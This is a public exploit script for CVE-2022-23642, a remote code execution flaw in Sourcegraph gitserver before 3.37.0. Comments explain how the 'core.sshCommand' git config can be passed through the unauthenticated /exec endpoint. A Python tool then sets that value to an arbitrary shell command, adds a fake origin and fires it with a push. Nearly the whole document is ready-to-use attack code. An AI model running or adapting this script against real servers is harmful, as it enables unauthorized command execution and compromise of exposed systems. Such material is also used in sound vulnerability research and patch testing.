Sourcegraph Gitserver 3.36.3 Remote Code Execution

`# Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)  
# Date: 2022-06-10  
# Exploit Author: Altelus  
# Vendor Homepage: https://about.sourcegraph.com/  
# Version: 3.63.3   
# Tested on: Linux  
# CVE : CVE-2022-23642  
# Docker Container: sourcegraph/server:3.36.3  
  
# Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service.   
# This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed   
# on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible   
# if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3  
#  
# Exploitation parameters:  
# - Exposed Sourcegraph gitserver  
# - Existing repo on sourcegraph  
  
  
  
import json  
import argparse  
import requests  
  
def exploit(host, existing_git, cmd):  
  
# setting sshCommand  
data = {  
"Repo" : existing_git,  
"Args" : [  
"config",  
"core.sshCommand",  
cmd  
]  
}  
  
res = requests.get(host+"/exec", json=data).text  
  
if len(res) > 0:  
print("[-] Didn't work: {}".format(res))  
exit(0)  
  
# setting fake origin  
data = {  
"Repo" : existing_git,  
"Args" : [  
"remote",  
"add",  
"origin",  
"git@lolololz:foo/bar.git"  
]  
}  
  
res = requests.get(host+"/exec", json=data).text  
  
if len(res) > 0:  
print("[-] Didn't work: {}".format(res))  
exit(0)  
  
# triggering command using push  
data = {  
"Repo" : existing_git,  
"Args" : [  
"push",  
"origin",  
"master"  
]  
}  
  
res = requests.get(host+"/exec", json=data).text  
  
print("[*] Finished executing exploit")  
  
parser = argparse.ArgumentParser()  
  
parser.add_argument('--gitserver-host', required=True, help="Target Sourcegraph Gitserver Host")  
parser.add_argument('--existing-git', required=True, help="e.g. Link of existing repository in target Sourcegraph")  
parser.add_argument('--cmd', required=True, help="Command to run")  
args = parser.parse_args()  
  
host = args.gitserver_host  
existing_git = args.existing_git  
cmd = args.cmd  
  
  
exploit(host, existing_git, cmd)  
  
`